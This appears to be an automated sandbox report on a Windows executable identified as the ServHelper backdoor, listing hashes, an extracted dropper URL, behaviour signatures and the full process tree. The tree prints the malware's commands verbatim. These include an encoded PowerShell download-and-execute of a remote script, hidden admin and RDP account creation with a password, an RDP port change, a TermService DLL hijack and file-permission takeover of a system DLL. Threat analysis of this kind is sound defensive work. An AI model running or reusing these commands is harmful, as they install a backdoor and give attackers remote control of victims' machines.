Analysis

  • max time kernel
    124s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    02-07-2021 05:29

General

  • Target

    b8c76065042d1557af857a48a5ac0f3e.exe

  • Size

    5.7MB

  • MD5

    b8c76065042d1557af857a48a5ac0f3e

  • SHA1

    7b5077cd4aaa5c97a768e9722828ebac94abe1f8

  • SHA256

    e5dcf030290fd293d259f1c8ffbb65328c371e07fa34419af7723429599a7f6e

  • SHA512

    59aa84a81ac66288b0d9b2d160ce6c3895d5a02bd48bceff659aeaf21df28c4996585378d302535f50b06d0592d65b5e6612714f7bec4d0df39e9bf514d54eba

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe
    "C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:524
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1sckqbo1\1sckqbo1.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBB15.tmp" "c:\Users\Admin\AppData\Local\Temp\1sckqbo1\CSC20A18A0391434E2B93875EF626B0DB3E.TMP"
          4⤵
            PID:2024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1016
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:924
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1056
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1580
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1900
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1264
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1592
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1540
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2008
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1960
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1772
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1820
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1660
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1520
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1896
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:992
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1444
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1120
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1864
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:960
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:924
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1328
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:400
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1760
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:2008
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1264
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1612
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1964
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc AvQPWryX /add
                                  1⤵
                                    PID:2008
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc AvQPWryX /add
                                      2⤵
                                        PID:1772
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc AvQPWryX /add
                                          3⤵
                                            PID:1820
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:916
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1760
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:316
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:992
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1676
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:2028
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1240
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:112
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:908
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc AvQPWryX
                                                          1⤵
                                                            PID:1708
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc AvQPWryX
                                                              2⤵
                                                                PID:1736
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc AvQPWryX
                                                                  3⤵
                                                                    PID:1552
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1016
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1540
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1620
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1588
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:572
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:948
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:944

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/524-86-0x000000001C1F0000-0x000000001C1F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-102-0x000000001AC9A000-0x000000001ACB9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/524-87-0x00000000026D0000-0x00000000026D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-73-0x000000001AC94000-0x000000001AC96000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/524-85-0x000000001B790000-0x000000001B791000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-75-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-71-0x0000000002580000-0x0000000002581000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-69-0x000000001AD10000-0x000000001AD11000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-157-0x000000001C320000-0x000000001C321000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-68-0x0000000002510000-0x0000000002511000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-70-0x0000000002550000-0x0000000002551000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-83-0x0000000002280000-0x0000000002281000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/524-72-0x000000001AC90000-0x000000001AC92000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/524-67-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/924-148-0x0000000002780000-0x0000000002782000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/924-149-0x0000000002784000-0x0000000002786000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/944-203-0x00000000195AA000-0x00000000195C9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/944-202-0x00000000195A4000-0x00000000195A6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/944-201-0x00000000195A0000-0x00000000195A2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1016-120-0x000000001B610000-0x000000001B611000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-107-0x000000001B700000-0x000000001B701000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-98-0x000000001AB50000-0x000000001AB51000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-121-0x000000001B620000-0x000000001B621000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-94-0x000000001AA80000-0x000000001AA81000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-96-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-99-0x0000000002330000-0x0000000002331000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-100-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1016-101-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1896-130-0x000000001A9B0000-0x000000001A9B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-129-0x000000001AC44000-0x000000001AC46000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1896-128-0x000000001AC40000-0x000000001AC42000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1896-132-0x000000001B6B0000-0x000000001B6B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-134-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1896-135-0x000000001AA40000-0x000000001AA41000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2044-65-0x00000000413B7000-0x00000000413B8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2044-59-0x0000000000D70000-0x000000000195E000-memory.dmp

                                                                        Filesize

                                                                        11.9MB

                                                                      • memory/2044-63-0x00000000413B4000-0x00000000413B6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2044-64-0x00000000413B6000-0x00000000413B7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2044-61-0x0000000041B00000-0x0000000041DAA000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/2044-60-0x00000000413B2000-0x00000000413B4000-memory.dmp

                                                                        Filesize

                                                                        8KB